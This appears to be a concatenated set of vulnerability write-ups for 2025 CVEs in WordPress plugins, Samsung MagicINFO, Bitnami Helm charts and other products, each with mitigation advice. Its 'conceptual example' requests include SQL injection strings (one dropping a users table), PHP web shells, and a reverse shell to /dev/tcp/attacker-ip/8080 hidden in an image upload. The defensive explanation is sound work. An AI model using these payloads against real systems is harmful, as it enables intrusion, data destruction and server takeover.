Author: Ameeba

Overview

The cybersecurity landscape is continually evolving, with new vulnerabilities being discovered on a daily basis. One such vulnerability, identified as CVE-2025-4784, has been reported in Moderec Tourtella. This severe security flaw could potentially lead to system compromise or data leakage, posing a significant threat to the affected organizations. SQL Injection, the type of vulnerability in this case, is a common yet critical security issue that can lead to unauthorized access to sensitive data or potential system compromise if exploited successfully.
The severity of this vulnerability is highlighted by its CVSS Severity Score of 9.8, indicating that it’s a critical issue that demands immediate attention. Affected organizations should prioritize this security flaw and apply necessary patches or use additional security measures such as a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-4784
Severity: Critical, CVSS score 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Moderec Tourtella | Before 26.05.2025

How the Exploit Works

The vulnerability resides in the improper neutralization of special elements used in an SQL command, commonly known as an SQL Injection vulnerability. An attacker can manipulate SQL queries by injecting malicious SQL code into user-input data. This can allow the attacker to view, modify, or delete data present in the database, potentially leading to unauthorized system access or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This is a hypothetical scenario where an attacker manipulates an HTTP POST request to inject malicious SQL code.

POST /login HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
username=admin' OR '1'='1';--&password=arbitrary

In this example, the attacker injects the SQL command `’ OR ‘1’=’1′;–` to the `username` parameter. It modifies the SQL query to always return true, bypassing the authentication mechanism and potentially allowing unauthorized access to the system.

Overview

A high-severity vulnerability, designated CVE-2025-4822, has recently been identified in the Bayraktar Solar Energies ScadaWatt Otopilot system. This vulnerability pertains to an SQL Injection flaw, which can be exploited by malicious individuals to compromise the system and potentially leak sensitive data. Given the critical role of ScadaWatt Otopilot in managing solar energy systems, this vulnerability could have far-reaching impacts, including the disruption of solar energy provision and the leakage of user information.

Vulnerability Summary

CVE ID: CVE-2025-4822
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

ScadaWatt Otopilot | Versions prior to 27.05.2025

How the Exploit Works

The vulnerability manifests through the improper neutralization of special elements used in an SQL command. In essence, the ScadaWatt Otopilot system fails to properly sanitize user-supplied input. This allows an attacker to manipulate SQL queries, in turn enabling them to access, modify, or delete data in the underlying SQL database. They could potentially gain unauthorized access to sensitive information or even control over the entire system.

Conceptual Example Code

The following example demonstrates how an attacker might exploit this vulnerability. In this scenario, the attacker sends a specially crafted string in a POST request to a vulnerable endpoint in the ScadaWatt Otopilot system.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_input": "'; DROP TABLE users; --" }

In the example above, the string `’; DROP TABLE users; –` is a classic SQL injection attack known as the “DROP TABLE” attack. If the system does not properly sanitize the input, this command would cause the “users” table in the database to be deleted.

Mitigation

Bayraktar Solar Energies has released a vendor patch to address this vulnerability. It is strongly recommended that all users of affected versions of ScadaWatt Otopilot update their systems immediately. In the interim, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used to mitigate the risk.

Overview

In this article, we will be discussing an alarming vulnerability detected in the WebinarIgnition plugin for WordPress, identified as CVE-2025-6441. This plugin, used for creating various types of webinars and managing Zoom meetings, is a critical tool for many businesses running their online operations via WordPress. The vulnerability stems from a missing capability check on two functions, which allows potential attackers to generate login tokens for arbitrary WordPress users. This poses a significant threat to WordPress users and is a glaring example of the necessity for rigorous cybersecurity measures.

Vulnerability Summary

CVE ID: CVE-2025-6441
Severity: Critical, with a CVSS score of 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WebinarIgnition WordPress Plugin | Up to and including 4.03.31

How the Exploit Works

The vulnerability allows unauthenticated attackers to generate login tokens for any WordPress user due to a missing capability check on the `webinarignition_sign_in_support_staff` and `webinarignition_register_support` functions. The resulting authorization cookies could potentially bypass authentication, giving the attacker unauthorized access to the victim’s account. The attack could be conducted remotely, requiring no user interaction, which makes it even more dangerous and easy to exploit.

Conceptual Example Code

Given the severity of this vulnerability, it’s crucial to understand how an attack could hypothetically be executed. While this is a conceptual example and not actual code, it portrays the potential risk.

POST /wp-json/webinarignition/v1/sign_in_support_staff HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"user": "admin",
"password": "fake_password"
}

In this conceptual example, the attacker is sending a POST request to the vulnerable endpoint `sign_in_support_staff` of the WebinarIgnition plugin. The JSON payload includes a `user` field with the username of the target WordPress user and a `password` field with a fake password. If the vulnerability exists and is unmitigated, this request could generate an authorization cookie for the specified user, bypassing normal authentication procedures.

Mitigation Guidance

As a mitigation measure, users are strongly advised to apply the vendor patch as soon as it’s available. Until then, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used to identify and block potential exploit attempts. Regular reviews of access logs and monitoring for unexpected or unauthorized user activities are also recommended as temporary mitigation actions.

Overview

The cybersecurity landscape is witnessing a new threat in the form of a critical vulnerability identified as CVE-2025-5243. This security flaw primarily affects the SMG Software Information Portal versions released before 13.06.2025. It is a severe concern as it enables potential attackers to upload files with dangerous types, and even inject commands directly into the operating system. The vulnerability opens doors for code injection, web shell upload to a web server, and code inclusion, which can potentially lead to system compromise or data leakage.
The severity of the issue is further underscored by the CVSS Severity Score of 10.0, indicating a critical level of risk. Organizations and individuals using the affected versions of SMG Software Information Portal are urged to address this issue immediately to protect their systems and data.

Vulnerability Summary

CVE ID: CVE-2025-5243
Severity: Critical (10.0 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

SMG Software Information Portal | Versions before 13.06.2025

How the Exploit Works

The exploit takes advantage of a security flaw in the file upload mechanism of the SMG Software Information Portal. This flaw allows unrestricted uploading of files with dangerous types, leading to potential command injection into the system’s OS. An attacker can upload a web shell to a web server, allowing remote control over the server or even include malicious code into the system.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. In this case, a malicious HTTP POST request is sent to the vulnerable endpoint.

POST /upload/file HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"filename": "webshell.php",
"content": "<?php echo shell_exec($_GET['cmd']); ?>"
}

In this example, the attacker sends a POST request to upload a file named ‘webshell.php’ containing malicious PHP code. This code can execute arbitrary shell commands provided by the ‘cmd’ GET parameter.

Mitigation Guidance

To mitigate this vulnerability, users are urged to apply the vendor-provided patch immediately. If this is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure by blocking or alerting on attempts to exploit this vulnerability. However, these are temporary measures and cannot replace the need for a patch. Regular patching and updates are essential components of maintaining a secure system.

Overview

The cybersecurity landscape faces a new threat in the form of a severe vulnerability in the ONLYOFFICE Docs plugin for WordPress. The vulnerability, identified as CVE-2025-6380, potentially affects a vast number of websites using the ONLYOFFICE Docs plugin, ranging from versions 1.1.0 to 2.2.0. The severity of this vulnerability lies in the fact that it allows unauthenticated attackers to perform privilege escalation, potentially leading to system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-6380
Severity: Critical (9.8 out of 10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

ONLYOFFICE Docs Plugin for WordPress | 1.1.0 – 2.2.0

How the Exploit Works

The vulnerability arises from a lack of proper authorization in the oo.callback REST endpoint of the ONLYOFFICE Docs plugin for WordPress. The plugin’s permission callback checks that the supplied, encrypted attachment ID maps to an existing attachment post. However, it does not verify the identity or capabilities of the requester. This oversight allows unauthenticated attackers to log in as any user, escalating their privileges and potentially gaining unauthorized access to sensitive information or control over the system.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability. In this case, the attacker sends a malicious HTTP request to the vulnerable endpoint:

POST /wp-json/onlyoffice/v1/callback HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"attachment": {
"id": "<encrypted_attachment_id>",
"userid": "<arbitrary_user_id>"
}
}

In this example, `` is a valid encrypted attachment ID, and `` is the user ID of the victim. This request could potentially allow the attacker to log in as the victim, leading to unauthorized access and potential data leakage.

Mitigation and Prevention

To mitigate this vulnerability, affected users are advised to apply the vendor’s patch as soon as possible. If the patch cannot be applied immediately, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. Regularly updating all software and plugins to their latest versions can help prevent future vulnerabilities.

Overview

CVE-2025-7852 is a critical security vulnerability that affects the WPBookit plugin for WordPress, which is used widely for managing bookings on WordPress sites. This vulnerability allows unauthenticated attackers to upload arbitrary files on the server of an affected site due to a lack of file type validation in the image_upload_handle() function. The severity of this vulnerability lies in the fact that it can potentially lead to a system compromise and data leakage, making it a significant threat for any WordPress site running the vulnerable version of the WPBookit plugin.
The vulnerability has been attributed a high CVSS severity score of 9.8, highlighting the urgent need for affected users to apply the vendor patch or use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-7852
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

WPBookit Plugin for WordPress | Up to and including 1.0.6

How the Exploit Works

This vulnerability stems from an insecure file upload handler function within the WPBookit plugin. Specifically, the image_upload_handle() function, which is hooked via the ‘add_new_customer’ route, lacks adequate file type validation. This makes it possible for an unauthenticated attacker to upload any type of file without restriction. The function calls move_uploaded_file() on client‐supplied files without restricting allowed extensions or MIME types, nor sanitizing the filename. This allows an attacker to upload a malicious file, potentially leading to the execution of arbitrary code on the server.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability. It illustrates a malicious HTTP POST request that an attacker could use to upload a script disguised as an image file.

POST /add_new_customer HTTP/1.1
Host: vulnerable-wordpress-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="evil.php.jpg"
Content-Type: image/jpeg
<?php exec('/bin/bash -i >& /dev/tcp/attacker-ip/8080 0>&1'); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker attempts to upload a file named “evil.php.jpg. Although it appears to be an image file, it is actually a PHP script that, once uploaded and executed, can give the attacker remote control over the server.

Overview

A high-severity vulnerability, CVE-2025-7437, has been identified in the Ebook Store plugin for WordPress. This flaw allows unauthenticated attackers to upload arbitrary files due to missing file type validation, leading to potential system compromise or data leakage. This vulnerability has a wide impact as it affects all versions up to 5.8012 of the plugin, which is widely used by publishers and online stores on the WordPress platform. This vulnerability is particularly concerning due to its potential to enable remote code execution if exploited successfully.

Vulnerability Summary

CVE ID: CVE-2025-7437
Severity: Critical (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Ebook Store Plugin for WordPress | Up to and including 5.8012

How the Exploit Works

The vulnerability lies in the ebook_store_save_form function which lacks proper validation of file types. This allows an attacker to upload any file to the server, including executable files or scripts, without requiring any form of authentication. Once uploaded, these files can be triggered to execute arbitrary code, potentially gaining control over the server and enabling the attacker to access, modify, or delete data, or even create new accounts with full user rights.

Conceptual Example Code

Below is a simplified, conceptual example of how an HTTP request exploiting the vulnerability might look. This example assumes the attacker is uploading a malicious PHP file that can enable remote code execution:

POST /wp-content/plugins/ebook-store/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

This request uploads a PHP file named ‘exploit.php’ which, when accessed, would run any command passed via the ‘cmd’ URL parameter.

Mitigation

The most effective mitigation is to apply the vendor-supplied patch. If that is not immediately possible, implementing protections via a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks.

Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a severe vulnerability, designated CVE-2025-54455, within Samsung Electronics MagicINFO 9 Server. This vulnerability revolves around the use of hard-coded credentials, which could potentially allow unauthorized users to bypass authentication processes. As a high-risk vulnerability, it can lead to system compromise and data leakage, impacting businesses relying on the MagicINFO 9 Server for their day-to-day operations. Understanding and addressing this vulnerability is crucial for maintaining secure systems and protecting sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-54455
Severity: Critical (CVSS Score: 9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Samsung Electronics MagicINFO 9 Server | Less than 21.1080.0

How the Exploit Works

The vulnerability emerges from the improper use of hard-coded credentials within the Samsung Electronics MagicINFO 9 Server. In essence, the software has been programmed with specific login details that cannot be altered by the user. These hard-coded credentials, once discovered, can be exploited by attackers to bypass the authentication process, giving them unauthorized access to the system. The ability to bypass authentication can lead to unrestricted system access, allowing potential system compromise and data leakage.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability, using the hard-coded credentials to bypass authentication:

POST /login HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"username": "hardcoded_username",
"password": "hardcoded_password"
}

In this hypothetical example, the attacker uses the hard-coded credentials (“hardcoded_username” and “hardcoded_password”) to gain unauthorized access.

Mitigation Guidance

Users of Samsung Electronics MagicINFO 9 Server should immediately install the vendor patch, which addresses this vulnerability, to prevent potential exploits. If the patch cannot be applied immediately, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can serve as a temporary mitigation. However, these should not substitute for the vendor’s patch. Users should always ensure their system is updated to the latest version to prevent similar vulnerabilities.

Overview

The cybersecurity world is faced with a new vulnerability, CVE-2025-54454, affecting Samsung’s MagicINFO 9 Server. This is a crucial vulnerability that leverages the use of hard-coded credentials, enabling an attacker to bypass authentication. Its impact is massive, potentially leading to system compromise or data leakage. It is particularly significant because MagicINFO 9 Server is a widely-used digital signage solution, and any security lapses can have far-reaching implications.

Vulnerability Summary

CVE ID: CVE-2025-54454
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Samsung MagicINFO 9 Server | Less than 21.1080.0

How the Exploit Works

This vulnerability stems from the use of hard-coded credentials within the application’s code. Typically, this is a serious security flaw as it allows anyone who can read the application’s code to gain unauthorized access. In the case of CVE-2025-54454, it allows an attacker to bypass authentication mechanisms. This can be achieved remotely over a network without requiring any user interaction or special privileges.

Conceptual Example Code

Here’s a hypothetical example of how an attacker might exploit this vulnerability. This is not a real exploit code but serves to illustrate the concept:

GET /login HTTP/1.1
Host: target.example.com
Authorization: Basic [Insert Hard-coded Base64 Encoded Username:Password Here]

In this conceptual example, the attacker sends a GET request to the login end-point of the target server. The Authorization header contains the hardcoded credentials, encoded in Base64, granting the attacker unauthorized access.

Mitigation Measures

The best way to mitigate this vulnerability is by applying the vendor’s patch. Samsung has released a patch for MagicINFO 9 Server version 21.1080.0 that fixes this vulnerability. If a patch cannot be applied immediately, a temporary mitigation can be achieved using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or alert on suspicious activity. However, these are merely temporary solutions and do not provide a complete fix. Therefore, it is highly recommended that the official patch be applied as soon as possible.

Overview

CVE-2025-41240 is a serious cybersecurity vulnerability concerning Bitnami Helm charts. These charts, when deployed with specific default settings, can expose Kubernetes Secrets under a predictable path, potentially susceptible to HTTP/S exploits. This vulnerability is of significant concern to organizations using Bitnami Helm charts for orchestrating their Kubernetes application deployments, as an attacker could potentially gain unauthenticated access to sensitive credentials. The risk is exacerbated if the application is exposed externally, making this a critical concern for cloud-based deployments.

Vulnerability Summary

CVE ID: CVE-2025-41240
Severity: Critical (10.0 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage, unauthorized access to sensitive credentials.

Affected Products

Product | Affected Versions

Bitnami Helm Charts | All versions prior to the patch

How the Exploit Works

The exploit takes advantage of the predictable path (/opt/bitnami/*/secrets) under which Kubernetes Secrets are mounted by Bitnami Helm charts. If the application is exposed externally and the default setting of usePasswordFiles=true is used, these secrets become accessible via HTTP/S. This means a remote attacker could retrieve these secrets by simply accessing specific URLs, achieving unauthenticated access to sensitive credentials and potentially leading to system compromise or data leakage.

Conceptual Example Code

An attacker might exploit this vulnerability using a simple HTTP GET request, like the following example:

GET /opt/bitnami/app/secrets HTTP/1.1
Host: target.example.com

In response to such a request, the server could potentially expose sensitive Kubernetes Secrets in plaintext, which the attacker could then use to gain unauthorized access or perform other malicious activities.

Mitigation and Patching

To mitigate this vulnerability, users are advised to apply the vendor-provided patch as soon as possible. As a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to identify and block attempts to exploit this vulnerability. However, these systems merely provide a stopgap solution and don’t address the root cause of the vulnerability. As such, application of the patch remains the most effective resolution method.